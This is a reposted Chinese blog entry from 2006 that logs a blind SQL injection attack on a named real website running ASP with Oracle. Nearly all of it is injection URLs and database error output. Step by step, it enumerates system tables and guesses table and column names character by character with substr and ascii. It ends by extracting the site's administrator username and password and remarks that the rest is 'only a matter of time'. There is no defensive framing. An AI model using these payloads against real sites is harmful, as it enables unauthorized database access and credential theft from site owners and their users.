一次对ASP+ORACLE的注入手记
2006-07-26 13:26
519 查看
一次对ASP+ORACLE的注入手记 | ||
| 作者：佚名 文章来源：不详 点击数： 1031 更新时间：2006-7-21 | ||
| http://et.kpworld.com/star.asp?performer=马三立; ------------------------------------------------------ OraOLEDB 错误 ’80040e14’ ORA-00911: invalid character /star.asp，行83 说明过滤了分号。 http://et.kpworld.com/star.asp?performer=马三立’ ---------------------------------------------------- OraOLEDB 错误 ’80004005’ ORA-01756: 括号内的字符串没有正确结束 /star.asp，行83 看来存在未过滤单引号问题。 http://et.kpworld.com/star.asp?performer=马三立’ and ’1’=’1 ---------------------------------------------------------------- 闭和他单引号，正常返回。 and 0(select count(*) from admin) and ’1’=’1 ----------------------------------------------------------------- OraOLEDB 错误 ’80040e37’ ORA-00942: table or view does not exist /star.asp，行83 说明不存在ADMIN这个表. ****************************************************************** 下面需要知道ORACLE的系统表： 确定表中行的总数： select num_rows from user_tables where table_name=’表名 ----------------------存放当前用户所有表 where table_name=’表名 ’selectcolumn_name, from user_tab_columns -----------------------存放所有列 where table_name=’表名’ and 0(select count(*) from all_tables) and ’1’=’1 --------------------------------------------------------------------- 存在！ all_tables是一个系统表,用来存放当前ID和其他用户的所有表 and 0(select count(*) from user_tables) and ’1’=’1 --------------------------------------------------------------------- 返回。有这个系统表，这个表存放当前用户的所有表 and 0(select top 1 table_name from user_tables) and ’1’=’1 --------------------------------------------------------------------------------- OraOLEDB 错误 ’80040e14’ ORA-00923: FROM keyword not found where expected /star.asp，行83 不支持TOP 1 ?。。。。。。这种解释好象不太理想。。。 (经过PINKEYES测试已经确定确实不支持TOP 1) and 0(select count(*) from user_tables where table_nam’’) and ’1’=’1 -------------------------------------------------------------------------------------------- OraOLEDB 错误 ’80040e14’ ORA-00904: invalid column name /star.asp，行83 当语法错误时,会显示无效列名字 and 0(select count(*) from user_tables where table_name’’’’) and ’1’=’1 -------------------------------------------------------------------------------------------- 语法正确时，成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试： and 0(select count(*) from user_tables where sum(table_name)>1) and ’1’=’1 ------------------------------------------------------------------------------------------------ OraOLEDB 错误 ’80040e14’ ORA-00934: group function is not allowed here /star.asp，行83 组函数不允许在这里。 and 0(select count(*) from user_tables where avg(table_name)) and ’1’=’1 ------------------------------------------------------------------------------------------- OraOLEDB 错误 ’80040e14’ ORA-00934: group function is not allowed here /star.asp，行83 组函数不允许在这里。 and 0(select to_char(table_name) from user_tables) and%20’1’=’1 -------------------------------------------------------------------------- OraOLEDB 错误 ’80004005’ ORA-01427: single-row subquery returns more than one row /star.asp，行83 单行的子查询返回多于一行 and 0(select count(*) from user_tables where table_name+1) and%20’1’=’1 -------------------------------------------------------------------------- OraOLEDB 错误 ’80040e14’ ORA-00920: invalid relational operator /star.asp，行83 测试到这里，下面看看怎么弄出他的表来： and 0(select count(*) from performer) and%20’1’=’1 ----------------------------------------------------- 成功返回。这里的表是看前面URL猜的. and 0(select count(*) from user_tables where table_name=’performer’) and%20’1’=’1 ------------------------------------------------------------------------------------- 没返回。失败标志。 and%200(select%20count(*)%20from%20user_tables%20where%20table_name=’PERFORMER’) and%20’1’=’1 ------------------------------------------------------------------------------------------------ 成功了！ 看来这个user_tables表只认识大写字母！ and 0(select count(*) from user_tables where length(table_name)>10) and%20’1’=’1 ------------------------------------------------------------------------------------ 用length函数确定最长表的位数 and 0(select count(*) from user_tables where length(table_name)=18) and%20’1’=’1 ------------------------------------------------------------------------------------- 省略若干步骤，最后确定最长表为18位。 and 0(select count(*) from user_tables where substr(table_name,1,1)=’A’) and%20’1’=’1 ----------------------------------------------------------------------------------------- 第一位为’A’， and 0(select count(*) from user_tables where substr(table_name,1,2)=’AD’) and%20’1’=’1 ----------------------------------------------------------------------------------------- 第二位为’AD’ and 0(select count(*) from user_tables where substr(table_name,1,18)=’ADMINAUTHORIZATION’) and%20’1’=’1 --------------------------------------------------------------------------------------------- 省略若干，18位的表名为’ADMINAUTHORIZATION’。 and 1=(select count(*) from user_tables where table_name=’ADMINAUTHORIZATION’) and%20’1’=’1 -------------------------------------------------------------------------------------------- 返回。 and 0(select count(*) from user_tables where length(table_name)=2) and%20’1’=’1 ---------------------------------------------------------------------------------- 最小表名长度为2 and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20’%25user%25’)%20and%20%20’1’=’1 ------------------------------------------------------------------------------------------------- 没返回。 and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20’%25ADMIN%25’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20’%25PER%25’) and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20’%25BBS%25’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 都成功返回。看来可以利用LIKE猜。 and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25’%20and%20length(table_name)>8) and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25’%20and%20length(table_name)>10)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like’%25BBS%25’%20and%20length(table_name)=10)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 利用LIKE和LENGTH组合猜，马上就能确定长度。 and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,4)=’BBSS’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 猜出第四位是S。接下来就是重复劳动了。 and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,10)=’BBSSUBJECT’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 猜出来了。’BBSSUBJECT’ and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’BBSSUBJECT’%20and%20column_name%20like%20’%25USER%25’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’BBSSUBJECT’%20and%20column_name%20like%20’%25USER%25’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 没返回，不象是保存用户和密码的表。再来。。。 and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20’%25USER%25’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20’%25USER%25’%20and%20length(table_name)>10)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20’%25USER%25’%20and%20length(table_name)>15)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20’%25USER%25’%20and%20length(table_name)=15)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 确定长度为15。 and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,1)=’U’%20and%20length(table_name)=15)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,2,1)=’S’%20and%20length(table_name)=15)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,-4,4)=’USER’%20and%20length(table_name)=15)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20length(table_name)=15%20and%20substr(table_name,-15,15)=’UNSUBSCRIBEUSER’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20table_name=’UNSUBSCRIBEUSER’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 确定表名’UNSUBSCRIBEUSER’，接下来猜是否有密码字段。。。 and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’UNSUBSCRIBEUSER’%20and%20column_name%20like%20’%25USER%25’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’UNSUBSCRIBEUSER’%20and%20column_name%20like%20’%25PASS%25’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- LIKE PASS，没返回，郁闷，继续。 and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20’%25PASS%25’%20and%20length(table_name)=13)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 返回。不准确。 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-2,2)=’SS’) and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,6,2)=’SS’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=’PASS’) and%20’1’=’1 ------------------------------------------------------------------------------------------------- 这里用SUBSTR缩小范围. and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=’PASS’%20and%20length(column_name)=11)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 含有PASS字段的字段长度11位。根据上面的从4位开始数4位是PASS 那么PASS前是3位，后是4位，一共是11位。 and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,8)=’PASSWORD’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 猜一下，果然是。。。 and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-11,11)=’STRPASSWORD’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13) ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 全返回，确定密码字段名字’STRPASSWORD’。把密码字段抓到就好办了，再利用他抓表名： and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20length(table_name)=13) and ’1’=’1 ------------------------------------------------------------------------------------------------- 返回，和上面猜出的表名长度符合。用SUBSTR猜出他名字： and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20substr(table_name,1,13)=’ADMINISTRATOR’) and ’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=’STRPASSWORD’%20and%20table_name=’ADMINISTRATOR’) and ’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tables%20where%20table_name=’ADMINISTRATOR’) and ’1’=’1 ------------------------------------------------------------------------------------------------- 全返回，确定表名为：’ADMINISTRATOR’. and%208=(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’) and ’1’=’1 ------------------------------------------------------------------------------------------------- 猜出表里有8个字段。 and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20like%20’%25ID%25’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%203=(select%20count(*)%20from%20ADMINISTRATOR) and ’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,4,2)=’ID’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-2,2)=’ID’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 可以判断是ID结尾了，长度为5。 and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-5,5)=’LNGID’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name=’LNGID’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 出来了，LNGID。 and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(LNGID)=2)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%208=(select%20min(LNGID)%20from%20ADMINISTRATOR)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%2021=(select%20max(LNGID)%20from%20ADMINISTRATOR)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 最小ID，最大ID也出来，接下来弄密码： and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(STRPASSWORD)=4%20and%20LNGID=8)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- LNGID为8的密码长度为4 and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,1,1))=116%20and%20LNGID=8)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 第一位 and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,2,1))=101%20and%20LNGID=8)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 第二位 and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,3,1))=115%20and%20LNGID=8)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 第三位 and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,4,1))=116%20and%20LNGID=8)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 第四位 STRPASSWORD：test and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- OH,YEAH~~密码出来了。 接着搞用户名： and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20like%20’%25NAME%25’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,4,4)=’NAME’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,-4,4)=’NAME’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20substr(column_name,1,7)=’STRNAME’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 出来了，字段：STRNAME and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=’ADMINISTRATOR’%20and%20column_name%20not%20in(’STRNAME’,’STRPASSWORD’,’LNGID’))%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8%20and%20length(STRNAME)=4)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- STRNAME值长度为4，不会是和密码相同吧。。。 and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=’test’%20and%20LNGID=8%20and%20STRNAME=’test’)%20and%20’1’=’1 ------------------------------------------------------------------------------------------------- 呵呵，果然。 表名ADMINISTRATOR，列名：STRNAME,STRPASSWORD,LNGID LNGID=8 STRNAME=test STRPASSWORD=test 测试完成！剩下的只是时间问题了。 |
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 
相关文章推荐
- 一次对ASP+ORACLE的注入手记
- 万网ORACLE注入漏洞详细手记
- 万网ORACLE注入漏洞详细手记
- ASP+ORACLE注入手记
- [Oracle维护工程师手记]一次升级后运行变慢的分析
- 对著名快递公司的一次艰难的oracle注入
- 对著名快递公司的一次艰难的oracle注入
- CentOS6安装Oracle 11g R2 手记
- [原]记一次调整Oracle参数的小失误
- win7 安装phthon cx_Oracle支持库--手记
- 遭遇一次MySQL猜解注入攻击
- oracle技术之oracle一次控制文件损坏的恢复
- Oracle教你轻松解决不能一次创建多表的问题
- 记一次oracle的rac环境下，字符集修改
- Oracle查询出最最近一次的一条记录
- oracle一次插入多条数据
- 一次oracle大量数据删除经历
- Oracle Data Guard配置手记[转]
- CentOS6 安装Oracle 11的一次试验
- 【Oracle 函数索引】一次数据库的优化过程